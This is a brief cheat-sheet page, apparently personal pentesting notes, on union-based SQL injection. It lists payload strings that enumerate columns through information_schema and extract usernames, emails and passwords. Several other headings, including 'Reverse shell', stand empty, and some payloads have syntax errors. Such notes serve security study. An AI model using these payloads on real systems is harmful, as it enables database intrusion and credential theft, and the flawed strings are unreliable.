SQL Injection
Basic injection
GOTCHA
Exploit TIPS
- Extracting Coloumns -> 1' union <SELECT QUERY> #
- 1' UNION SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE tables_name = 'users' #
- Extracting Data -> 1' union <SELECT QUERY> #\
- 1' union select 1, username, 3 from db.tables #
- 1' union select 1, concat(field1, 0x3a, field2, 0x3a, field3), from db.tables #
- filed1,2,3 could be likes of username, email, pass
- 0x3a is hexcode for `:`Reverse shell
TIPS
GOOD READS
Last updated